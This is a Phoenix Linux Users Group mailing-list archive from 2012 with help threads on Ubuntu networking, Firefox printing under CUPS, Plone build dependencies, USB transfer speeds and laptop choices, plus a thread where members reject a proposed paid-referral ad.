Manager[2029]: info (eth0): device state change: unmanaged - unavailable (reason 'managed') [10 2 0 2] Network Manager[2029]: info (eth0): bringing up device Network Manager[2029]: info (eth0): preparing device Network Manager[2029]: info (eth0): deactivating device (reason 'managed') [2] kernel: [1815.448547] ADDRCONF(NETDEV_UP): eth0: link is not ready kernel: [1815.449321] ADDRCONF(NETDEV_UP): eth0: link is not ready I looked at some forum posts on how to fix this, and the best I found was to edit NetworkManager.conf and set managed=true (it came false out of the box). That did not help. Thanks for any other suggestions you may have! Mark It appears to be trying to use a tg3 driver - which is the ethernet. Follow these instructions to setup the /etc/network/interfaces networking for Network Manager: https://help.ubuntu.com/11.10/serverguide/network-configuration.html Example for /etc/network/interfaces: auto eth0 iface eth0 inet dhcp pre-up /sbin/ethtool -s eth0 speed 1000 duplex full Manual test (non-persistent): # sudo ifconfig eth0 192.168.1.50 netmask 255.255.255.0 up # route add default gw 192.168.1.1 eth0 For your wireless: Please show us the output of: nm-tool lsmod | grep b43 sudo iwlist scan sudo cat /var/log/syslog | grep -e b43 -e firmware -e wpa -e wlan -e etork | tail -n55 $ sudo apt-get install firmware-b43-installer $ sudo apt-get remove bcmwl-kernel-source -- (503) 754-4452 Android (623) 239-3392 Skype (623) 688-3392 Google Voice ** http://it-clowns.comSafeway.com Automation Engineer --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Looking for Windows XP OEM Installation Media
I am refurbishing an old Dell Latitude D620 for my daughter. I am installing Ubuntu 12.0.4, and I would like to have Windows XP run in VirtualBox so she can access Itunes. I have several OEM Windows XP licenses from other Dell machines that I have converted completely to Linux, but I don't have any XP installation CDs. Dell won't send them to me. Does anyone have an XP installation CD I can borrow? If I am violating any laws with the request, please let me know. My simple minded view is that I have a valid license, just not the media, so borrowing the media for an installation should not be an issue. Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Looking for Windows XP OEM Installation Media
DohI forgot that the D620 also has a key. The key on the D620 is for XP Pro. We can talk off list about how to meet.some dark alley in the city where no one will see us;) mark at phillipsmarketing dot biz. Mark On Thu, Jun 7, 2012 at 11:09 AM, Stephen cryptwo...@gmail.com wrote: Find out if you have a key on that dell you are setting up. and hat version it is. I have a an XP pro and XP home OEM install media for that generation of latitude. On Thu, Jun 7, 2012 at 10:56 AM, Eric Shubert e...@shubes.net wrote: On 06/07/2012 09:52 AM, Mark Phillips wrote: I am refurbishing an old Dell Latitude D620 for my daughter. I am installing Ubuntu 12.0.4, and I would like to have Windows XP run in VirtualBox so she can access Itunes. I have several OEM Windows XP licenses from other Dell machines that I have converted completely to Linux, but I don't have any XP installation CDs. Dell won't send them to me. Does anyone have an XP installation CD I can borrow? If I am violating any laws with the request, please let me know. My simple minded view is that I have a valid license, just not the media, so borrowing the media for an installation should not be an issue. Thanks, Mark First off, IANAL, and YMMV. TTBOMK, Windoze OEM licenses are good only on the machine they're issued for. Your D620 probably has a license sticker on it though. You won't however be able to install a retail version of XP using the OEM license key. Windoze licenses vary regarding virtualized machines. For example, Vista Home Premium does not allow for running as a VM guest, while Vista Ultimate does (on the same hardware). I know that XP Pro allows running as a VM guest (on the same hardware), but I'm not sure about XP Home. Allowing for something in the license doesn't necessarily mean that it won't work though (I don't honestly know if it'd work or not). I would find a Dell XP installation disk, which will install on your D620 w/out requiring activation. You might stop by AZStRUT some day to see if you can use theirs on site. Once you have XP on the bare hardware, you can use the P2V utility for VB to create the VM guest files. Then install Ubuntu and VB on the bare hardware, and copy in the VM guest files you created earlier. That's the best way I know of to get to where you want to be. -- -Eric 'shubes' --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- A mouse trap, placed on top of your alarm clock, will prevent you from rolling over and going back to sleep after you hit the snooze button. Stephen --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
To 64 Bit or Not To 64 Bit
Would you recommend running the 64 bit Ubuntu or 32 bit Ubuntu on this hardware: NameDell Latitude D620 ProcessorIntel Core Duo T2300 1.66Ghz Screen14.1” WXGA RAM4 GB HDD320 GB Optical DriveDVD+-RW GraphicsIntel Graphics Media Accelerator 950 Network10/100/1000 Ethernet + Intel 3945 802.11g Wireless Other4 x USB2.0 Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: OT: computer/electronics recycling
Depending on the machine specs, I may be able to use for my daughters. I am willing to drive to you and pick them up. Mark On May 20, 2012 12:25 PM, Dazed_75 lthiels...@gmail.com wrote: Oh, BTW, they are now putting Linux Mint on a lot of machines! On Sun, May 20, 2012 at 12:24 PM, Dazed_75 lthiels...@gmail.com wrote: http://www.azstrut.org/ is another possibility. They also have a number of drop sites (click on Donations) and I see they now have an association with Batteries Plus which has a Scottsdale office. On Sun, May 20, 2012 at 12:05 PM, AZ Pete p...@cactusfamily.com wrote: Hi All, I have 2 old laptops that I'd like to get rid of and would prefer not to simply throw them in the trash. Is there a place I can drop them for recycling? I live in North Scottsdale, so ideally a place in the vicinity would be great. Thanks, Peter --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Dazed_75 a.k.a. Larry Please protect my address like I protect yours. When sending messages to multiple recipients, always use the BCC: (Blind carbon copy) and not To: or CC:. Remove all addresses from the message body before sending a Forwarded message. This can prevent spy programs capturing addresses from the recipient list and message body. -- Dazed_75 a.k.a. Larry Please protect my address like I protect yours. When sending messages to multiple recipients, always use the BCC: (Blind carbon copy) and not To: or CC:. Remove all addresses from the message body before sending a Forwarded message. This can prevent spy programs capturing addresses from the recipient list and message body. --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Problems Printing with Firefox
Hi Lisa, Thanks so much for your great emails regarding firefox not showing any printers in the print dialog. I never got it to work, so I stopped using it. I was on version 10, and not that version 12 is out, I thought I would give it a trywell the same thing is happening - no printers in the print dialog. I am running Linux version 3.1.0-1-amd64 (Debian 3.1.8-2) ( b...@decadent.org.uk) (gcc version 4.6.2 (Debian 4.6.2-11) ) #1 SMP Tue Jan 10 05:01:58 UTC 2012 with firefox 12 and Cups 1.5.2. I have a network connected HP Officejet Pro L7670 all in one printer at ip 192.168.25.102 (my local network). All my other browsers and application on all the machines on the network can see this printer and print to it. gtklp version 1.2.7 my ~./gtkrc-2.0 has the following gtk-print-backends = file,lpr,cups I have no errors reported in /var/log/cups/errors/log when I try to print from firefox (ie bring up the empty print dialog) Firefox is running under the user mark, and mark is part of the group lpadmin My default printer is Officejet_Pro_L7600, and I can print from the command line using lp I did not have a print.print_printer, so I added one to the firefox config (about:config) and used Officejet_Pro_L7600 as the name. If I reset the value as recommended in some posts, it defaults to an empty string, and then on a restart of firefox, that config element is no longer there. I also have: print.postscript.print_command /usr/bin/gtklp print.print_command /usr/bin/gtklp I have these installed: /usr/lib/x86_64-linux-gnu/gtk-2.0/2.10.0/printbackends/libprintbackend-cups.so /usr/lib/x86_64-linux-gnu/gtk-2.0/2.10.0/printbackends/libprintbackend-file.so /usr/lib/x86_64-linux-gnu/gtk-2.0/2.10.0/printbackends/libprintbackend-lpr.so /usr/lib/x86_64-linux-gnu/gtk-2.0/2.10.0/printbackends/libprintbackend-test.so /usr/lib32/gtk-2.0/2.10.0/printbackends/libprintbackend-cups.so /usr/lib32/gtk-2.0/2.10.0/printbackends/libprintbackend-file.so /usr/lib32/gtk-2.0/2.10.0/printbackends/libprintbackend-lpr.so /usr/lib32/gtk-2.0/2.10.0/printbackends/libprintbackend-test.so Somewhere I read they are important...;) Any suggestions would be greatly appreciated! Thanks, Mark On Sun, Mar 18, 2012 at 4:15 PM, Lisa Kachold lisakach...@obnosis.comwrote: Also, I forgot to clarify which gtkrc you needed to edit: This should go into ~/.gtkrc-2.0: gtk-print-backends = file,lpr,cups This is supposedly important. Be sure to save the original so you can roll back. On Sun, Mar 18, 2012 at 4:09 PM, Lisa Kachold lisakach...@obnosis.comwrote: On Sun, Mar 18, 2012 at 2:07 PM, Mark Phillips m...@phillipsmarketing.biz wrote: On Sun, Mar 18, 2012 at 12:53 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark On Sun, Mar 18, 2012 at 11:51 AM, Mark Phillips m...@phillipsmarketing.biz wrote: On Sun, Mar 18, 2012 at 10:01 AM, Lisa Kachold lisakach...@obnosis.com wrote: Hi Mark On Sun, Mar 18, 2012 at 7:49 AM, Mark Phillips m...@phillipsmarketing.biz wrote: I have Firefox 11.0 installed, as well as Google Chrome 17.0.963.65, Opera, and of course, Epiphany on my Debian testing machine. I use cups for printing over the network to my hp printer. Chrome, Opera, Epiphany all recognize all the installed printers on my network, but Firefox does not see any of them. I don't even have the print to file option that most posts on the subject talk about. When I look in firefox's about:config at all the print* settings, the printer is there, but it does not show up in the print dialog and I cannot print from firefox. Anyone else have this problem, and know how to solve it? Thanks, Mark Reference: http://wiki.debian.org/SystemPrinting A) Have you logged into Cups to see if there is an error? http://localhost:631 WHAT IS THE ERROR message in the logs? Yes, I have looked at the cups error logs as well as the admin portal. There are no errors from firefox, since it never sees any of the printers. All other applications (browsers, libreoffice, etc.) print without errors. snip B) If this is a permissions issue, you might have to add the Firefox invoking user to the group file: sudo usermod -a -G lpadmin tom firefox is running under user mark, and I am in the lpadmin group C) Are you using a postscript printer? I see you are using printers that require postscript, but cups and GTK should work. gnome gtklp runs and finds all the printers. Also, why would the type of printer make a difference? If cups can print to that printer, why would firefox care, unless firefox doesn't use cups? Firefox (like all prebuilt binaries) can be sensitive to GTK issues. Firefox: 1. First, if you haven't done so, you need to print to PostScript in order for the needed entry in prefs.js to be populated. This will be done automatically the first time you print. Open any web page and go to: File -- Print -- choose PostScript/default (it should be the default if you
Re: Considering a new laptop
I have been only used dell for the past 10 years, and never had any issues. I currenty have a Dell vostro 1520, which works out of the box with Debian testing. I run Windows in vmplayer when I have to use it. Mark On Tue, Mar 27, 2012 at 8:21 AM, Michael Butash mich...@butash.net wrote: Same with Dell, they employ guys like Mario Limonciello supporting their hardware that does a lot of compatibility testing and pushes fixes internally with dell for bios and other vendor-supported features. I'd do quick compat checks before buy, but Dell is usually a pretty safe option for linux support I find. I'd gone with a HP Elitebook for pure power (and 4 dimm slots for cheap 16gb ram) and other than raw performance, it's been an disaster for linux support. ACPI and bios disk functions are broken at best, and they will never fix them because their userbase is too small. How about just making hardware that doesn't suck? Perfect example of a vendor parasite around linux - happy to use it to sell servers, but nothing else. -mb On 03/27/2012 07:01 AM, Stephen wrote: Good machines that tend to work if not support Linux is sager notebooks. On Mar 27, 2012 6:35 AM, kitepi...@kitepilot.com mailto:kitepilot@kitepilot.**com kitepi...@kitepilot.com kitepi...@kitepilot.com mailto:kitepilot@kitepilot.**com kitepi...@kitepilot.com wrote: I would stay away from System76. Bad BAD (and costly) experience... ET PS: YMMV... Stephen writes: The other option is a vendor like system76 they have a good bang for buck value. Or maybe red 7. But the instant you add discrete graphics your battery life goes way down. Also the dell latitudes support linux quite well. Just not in an official sense. On Mar 27, 2012 12:46 AM, Phillip Waclawski waclaw...@mesacc.edu mailto:waclaw...@mesacc.edu wrote: I have one of the Dell Ubuntu Laptops from about 6 years ago (yes, they did sell 1420n inspirons with linux pre-installed :). It still works, but the Intel Graphics card doesn't support Opengl very well, so that makes Blender, openshot and other programs on linux a pain, and things like wacraft literally impossible. So, I've been thinking about http://zareason.com/shop/__**Strata-6770.htmlhttp://zareason.com/shop/__Strata-6770.html http://zareason.com/shop/**Strata-6770.htmlhttp://zareason.com/shop/Strata-6770.html decked out to the point I want is about $1400, but the 6 cell battery with maybe 3 hours of battery life...ugh http://zareason.com/shop/__**Verix-2.5.htmlhttp://zareason.com/shop/__Verix-2.5.html http://zareason.com/shop/**Verix-2.5.htmlhttp://zareason.com/shop/Verix-2.5.html with a few upgrades goes to $2300 or so, everything I could want, but nearly $900 more. I know you pay a bit of a premium going with a non top tier vendor that supports linux, but I've heard good things about them, and enjoyed their talk on RetroGnome at SCALE X. What do folks think? And what other laptop vendors that support Linux (with good NVidia graphics cards in them, I won't do Intel graphics ever again). Thanks Phil Waclawski --**__- PLUG-discuss mailing list - plug-disc...@lists.plug.__phoe**nix.az.ushttp://phoenix.az.us mailto:PLUG-discuss@lists.**plug.phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az._**_us/mailman/listinfo/plug-__** discuss http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-** discuss http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --**__- PLUG-discuss mailing list - plug-disc...@lists.plug.__phoe**nix.az.ushttp://phoenix.az.us mailto:PLUG-discuss@lists.**plug.phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az._**_us/mailman/listinfo/plug-__**discuss http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-**discusshttp://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --**- PLUG-discuss mailing list - plug-disc...@lists.plug.**phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings:
OT: SQL Question
I have a servlet/jsp/MySQL web site in production, and there are about 2,000 records in the flights table. One of the foreign keys is teacher_id. Up to this point, there is a one to many relationship between teacher_id and the data in the flights table. I need to change the data model to allow for a many to many relationship between teacher_id and the data in the flight table. What is the best way to do this? Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Problems Printing with Firefox
I have Firefox 11.0 installed, as well as Google Chrome 17.0.963.65, Opera, and of course, Epiphany on my Debian testing machine. I use cups for printing over the network to my hp printer. Chrome, Opera, Epiphany all recognize all the installed printers on my network, but Firefox does not see any of them. I don't even have the print to file option that most posts on the subject talk about. When I look in firefox's about:config at all the print* settings, the printer is there, but it does not show up in the print dialog and I cannot print from firefox. Anyone else have this problem, and know how to solve it? Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Problems Printing with Firefox
On Sun, Mar 18, 2012 at 12:53 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark On Sun, Mar 18, 2012 at 11:51 AM, Mark Phillips m...@phillipsmarketing.biz wrote: On Sun, Mar 18, 2012 at 10:01 AM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark On Sun, Mar 18, 2012 at 7:49 AM, Mark Phillips m...@phillipsmarketing.biz wrote: I have Firefox 11.0 installed, as well as Google Chrome 17.0.963.65, Opera, and of course, Epiphany on my Debian testing machine. I use cups for printing over the network to my hp printer. Chrome, Opera, Epiphany all recognize all the installed printers on my network, but Firefox does not see any of them. I don't even have the print to file option that most posts on the subject talk about. When I look in firefox's about:config at all the print* settings, the printer is there, but it does not show up in the print dialog and I cannot print from firefox. Anyone else have this problem, and know how to solve it? Thanks, Mark Reference: http://wiki.debian.org/SystemPrinting A) Have you logged into Cups to see if there is an error? http://localhost:631 WHAT IS THE ERROR message in the logs? Yes, I have looked at the cups error logs as well as the admin portal. There are no errors from firefox, since it never sees any of the printers. All other applications (browsers, libreoffice, etc.) print without errors. B) What does system-config-printer say? http://cyberelk.net/tim/software/system-config-printer/ Is it not postscript? See D - below related to firefox and postscript Just curious - why would I use system-config-printer when I have the cups web interface? According to the system-config-printer info on debian.org- In terms of features, it (i.e. system-config-printer) aims to be as complete as the CUPS web administration tool, while being integrated to the desktop. C) If this is a permissions issue, you might have to add the Firefox invoking user to the group file: sudo usermod -a -G lpadmin tom firefox is running under user mark, and I am in the lpadmin group D) Are you using a postscript printer? Do you have kprinter installed? I use gnome, not kde, so no kprinter. gtklp runs and finds all the printers. Also, why would the type of printer make a difference? If cups can print to that printer, why would firefox care, unless firefox doesn't use cups? Firefox: 1. First, if you haven't done so, you need to print to PostScript in order for the needed entry in prefs.js to be populated. This will be done automatically the first time you print. Open any web page and go to: File -- Print -- choose PostScript/default (it should be the default if you haven't installed any printers yet) -- click Print The problem is that there are no printers int he File -- Print dialog, so nothing to print to. Once you have done this and it prints, it'll add the PostScript entry you need to edit. 2. In the URL bar, type about:config to open the config page. 3. In the Filter bar, type print.printer_PostScript/default.print_command This should filter everything out but that line. 4. Right-click on the line, click on Modify, and change the entry to say kprinter then click OK. This will make Firefox print to kprinter any time you select the PostScript/default printer. 5. Right-click anywhere in the white space, then click on New -- Boolean to add a new Boolean entry. Type print.always_print_silent and set its value to true. This will force Firefox to print to the default printer without prompting you. If PostScript/default is the only printer you have and there are no local / network printers, it works great and you can stop here. But if you installed a printer through CUPS, it complicates things as Firefox will want to use that as a default and all your prints will go there without prompting you! So even if you don't have a local printer, it's a good idea to add the following line in case you add one later. 6. Once again, right-click and choose New -- Boolean. Type print.postscript.cups.enabled and set its value to false. That will disable CUPS printing in Firefox, and it will default to the PostScript/default printer. And since you've changed the output of that to kprinter, you'll see a processing dialog for a split second when you print, after which kprinter will open up. There you can choose all your printers, including PDF, PostScript, and any CUPS installed printers :) . Did you verify the GTK? Did you check for the gtkrc file? I have a lot of gtkrc files - locate gtkrc /etc/gimp/2.0/gtkrc /home/mark/.gimp-2.6/gtkrc /home/mark/Desktop/buffalo_nas/new_firmware/filesystem/usr/share/vim/vim72/syntax/gtkrc.vim /usr/lib/vmware/libconf/etc/gtk-2.0/Clearlooks.gtkrc /usr/lib/vmware/libconf/etc/gtk-2.0/gtkrc /usr/lib/vmware-installer/2.0/lib/libconf/etc/gtk-2.0/Clearlooks.gtkrc /usr/lib/vmware-installer/2.0/lib/libconf/etc/gtk-2.0/gtkrc /usr/share/eog/gtkrc /usr/share/gimp/2.0
Re: I need opinions.
Mike, I believe the foundation of PLUG is the notion that members of the Plug community give freely to each other as they can. For example, a member who has many years of experience as a Linux sysadmin making 6 figures does not ask a poster to donate $5 to them for solid advice on how to fix the poster's problem. They give back to the community because they know someday they will be the poster in need of assistance one day. Or, they give out of the need to support this community out of the goodness of their heart. With that said, I find your proposed post to be offensive and not at all in the spirit of this community. I also agree with Mike Bydalek that your proposed post is not even close to the stated purpose of this forum - We talk about the state of GNU/Linux, what we've recently done with GNU/Linux, share problems and create solutions. ( http://plug.phoenix.az.us/aboutplug.html) My 2 cents. Mark On Wed, Feb 15, 2012 at 5:00 PM, Mike Bydalek mike.byda...@gmail.comwrote: Honestly, I don't think this is the proper forum for this. The ride watching you bring up the site has been fun and entertaining, but this is a Linux group, not an English group. [snarky]You could use the free site you found and use someone there. I understand there are proofreaders there ;) [/snarky] -Mike On 2/15/12 4:48 PM, Michael Havens wrote: I created a webpage and I need opinions of the advertisement I'm putting on it. Could you please proof read it and tell me if it would turn you off or on or indifferant? -- :-)~MIKE~(-: -begin ad--- Mike here, You know, I wanted to find a work-from-home job so badly that I followed many leads and I got scammed many times. Good news though! I finally found a web page that really does give work-from-home job opportunities. These jobs range from computer programmers to cartoon artists; from telephone interviewers to social workers; from proofreaders to typists. A great number of other opportunities are also at this site just awaiting an applicant. I feel as if I should just give the webpage to you but I also feel I've been scammed so often that I need to recoup some of my losses. So, simply pay $5.00 via paypal to havens.business@gmail.com and I'll send you the site. True, you could find it on your own; but I never did in the years of my search. I had to pay substantially more than the five I'm asking for... but what I did pay for is (in my opinion) unreasonable. I figure $5 is a fair price... not to much but perhaps too little. However, I know that if you are unemployed you are watching every penny so I definately don't want to hurt you. In fact, the site itself is free (at least it was when I used it) so there will be no further charges. If you don't have a paypal account you can sign uphttps://www.paypal.com/us/cgi-bin/webscr?cmd=_flowSESSION=yw2jOYFV_cSZwqueJhvzR_Pm5kfdzbo39DamN9SzvU4NEakJPc3XBYVP_Hidispatch=5885d80a13c0db1f8e263663d3faee8d4026841ac68a446f69dad17fb2afeca3for it for free and then link it to a bank account or a credit card. So the excuse that you don't have a paypal account is a lame excuse. Have a good day ya-all! -end ad- http://fatherswithforeignbabies.us/work.html --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings:http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: problem installing plone
1. Read the readme that came with the plone installation software. 2. install the dependencies that are listed in that readme. Mark On Thu, Feb 2, 2012 at 1:41 AM, Michael Havens bmi...@gmail.com wrote: okay, apparently that got rid of the 'bits' error but now I get : ImportError: No module named _sha256 I tried to apt-get install it but no dice doing that. I then ran apt-file search and a list of 14 files popped up. Do I understand correctly that I need to reinstall all these files? I did that for the bits error but there were only four files to reinstall. On Wed, Feb 1, 2012 at 8:26 PM, John jhari...@yahoo.com wrote: Your missing dependencies that plone needs to build properly. I look for an install readme file and look there first. Not sure which distro you but I also use apt-file with Ubuntu sudo apt-get install apt-file apt-file update apt-file search bits/predefs.h You'll then have to install the package that it says to. You'll have to keep doing this for each missing dep. It takes time but you'll eventually chip away the issues so it'll build. If no, you'll want to try and find a pre-built package. -- *From:* Michael Havens bmi...@gmail.com *To:* Main PLUG discussion list PLUG-discuss@lists.plug.phoenix.az.us *Sent:* Sunday, January 29, 2012 2:37 PM *Subject:* Re: problem installing plone This is cool... I'm looklng through the install log and this might be relevant: Failed to find the necessary bits to build these modules: _bsddb _hashlib _sqlite3 _ssl _tkinter bsddb185 bz2dbmgdbm linuxaudiodev ossaudiodevsunaudiodev zlib To find the necessary bits, look in setup.py in detect_modules() for the module's name. (so what do they mean I should do?) (if these 'bits' are there where shuld I put them?) Failed to build these modules: crypt nis ... Warning - could not find file bits/predefs.h Warning - could not find file sys/cdefs.h Warning - could not find file gnu/stubs.h Warning - could not find file bits/wchar.h Warning - could not find file bits/wordsize.h ... Warning - could not find file sys/socket.h Warning - could not find file bits/types.h ... Warning - could not find file bits/in.h Warning - could not find file bits/endian.h ... *** WARNING: renaming nis since importing it failed: build/lib.linux-i686-2.6/nis.so: undefined symbol: yp_master Failed to find the necessary bits to build these modules: _bsddb _hashlib _sqlite3 _ssl _tkinter bsddb185 bz2dbmgdbm linuxaudiodev ossaudiodevsunaudiodev zlib To find the necessary bits, look in setup.py in detect_modules() for the module's name. Failed to build these modules: crypt nis ... -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Question about USB R/W Speed
I bought a new HP 32 GB USB stick. I plugged it into my Debian laptop to make a quick back up of a large directory (~8 GB, lots of little files), and it took overnight to transfer the files. Gnome reported that the transfer speed was around 400 - 500 KB/sec. I then plugged the same stick into the same port on my laptop, but transferred files (~1.5 GB lots of little files) from Windows 7 running in VMPlayer, and got a transfer speed of 4-5 MB/sec - 10 time faster! I checked the specs on the device, and HP says it should r/w files at about 4-5 MB/sec. Is there some magic in windows that makes USB sticks faster? Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Question about USB R/W Speed
You are probably correct. I went back and checked the sizes of the directories and the number of files: Slow transfer - 213,255 files, 3.5 Gb = ~16.4KB/file Fast Transfer - 803 files, 1.8 GB = 2.24 MB/file I guess I won't return the stick as defective...;) Mark On Thu, Feb 2, 2012 at 8:47 AM, Adam McCullough ajmcc...@asu.edu wrote: I'm willing to bet that the 1.5GB of files were a lot larger and less numerous than the 8 GB of files you moved previously. It isn't Windows, it has to do with how file systems work. Moving a million 1 kb files is going to take a lot more time than moving a tarball of the same files -- even if they are the same size, bit for bit. On 2 February 2012 08:21, Mark Phillips m...@phillipsmarketing.bizwrote: I bought a new HP 32 GB USB stick. I plugged it into my Debian laptop to make a quick back up of a large directory (~8 GB, lots of little files), and it took overnight to transfer the files. Gnome reported that the transfer speed was around 400 - 500 KB/sec. I then plugged the same stick into the same port on my laptop, but transferred files (~1.5 GB lots of little files) from Windows 7 running in VMPlayer, and got a transfer speed of 4-5 MB/sec - 10 time faster! I checked the specs on the device, and HP says it should r/w files at about 4-5 MB/sec. Is there some magic in windows that makes USB sticks faster? Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Question about USB R/W Speed
On Thu, Feb 2, 2012 at 9:22 AM, Matt Graham danceswithcr...@usa.net wrote: From: Mark Phillips m...@phillipsmarketing.biz Matt Graham danceswithcr...@usa.net wrote: If ehci_hcd isn't loaded, then USB2 devices will be limited to USB1 speeds. OK, # lspci |grep -i ehci That just tells you whether an EHCI controller is present on the PCI bus (one is). You want lsmod | grep ehci, which will tell you whether the ehci_hcd kernel module is loaded. # lsmod | grep ehci ehci_hcd 40215 0 usbcore 124095 5 uvcvideo,usbhid,uhci_hcd,ehci_hcd Thanks...it is loaded. How do I check if devices are automounted with -o sync? This depends on whether you're using an automounter and which one you're using. I can't help that much with the automounter config, since I always mount removable media manually and use fstab entries. But if you plug the device in and start doing stuff with it, typing mount in a terminal should show you a bunch of output with a line like /dev/sdb1 on /mnt/somewhere type vfat (rw,noauto,users,umask=000) ...where the stuff within ()s is the options the device was mounted as. sync probably shouldn't be in there if you want the fastest possible I/O. from mount, with the HP usb stick installed: /dev/sdb1 on /media/usb0 type vfat (rw,nosuid,nodev,noexec,relatime,uid=1000,fmask=0022,dmask=0022,codepage=cp437,iocharset=utf8,shortname=mixed,errors=remount-ro,user=mark) No sync, so it was probably the file sizes? Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: problem installing plone
Mike, John is correct - read the Readme file and install that dependencies. From you log file, it looks as if you don't have zip installed - LookupError: unknown encoding: zip Python zlib support is missing; something went wrong in the zlib or python build. Mark On Wed, Feb 1, 2012 at 8:26 PM, John jhari...@yahoo.com wrote: Your missing dependencies that plone needs to build properly. I look for an install readme file and look there first. Not sure which distro you but I also use apt-file with Ubuntu sudo apt-get install apt-file apt-file update apt-file search bits/predefs.h You'll then have to install the package that it says to. You'll have to keep doing this for each missing dep. It takes time but you'll eventually chip away the issues so it'll build. If no, you'll want to try and find a pre-built package. -- *From:* Michael Havens bmi...@gmail.com *To:* Main PLUG discussion list PLUG-discuss@lists.plug.phoenix.az.us *Sent:* Sunday, January 29, 2012 2:37 PM *Subject:* Re: problem installing plone This is cool... I'm looklng through the install log and this might be relevant: Failed to find the necessary bits to build these modules: _bsddb _hashlib _sqlite3 _ssl _tkinter bsddb185 bz2dbmgdbm linuxaudiodev ossaudiodevsunaudiodev zlib To find the necessary bits, look in setup.py in detect_modules() for the module's name. (so what do they mean I should do?) (if these 'bits' are there where shuld I put them?) Failed to build these modules: crypt nis ... Warning - could not find file bits/predefs.h Warning - could not find file 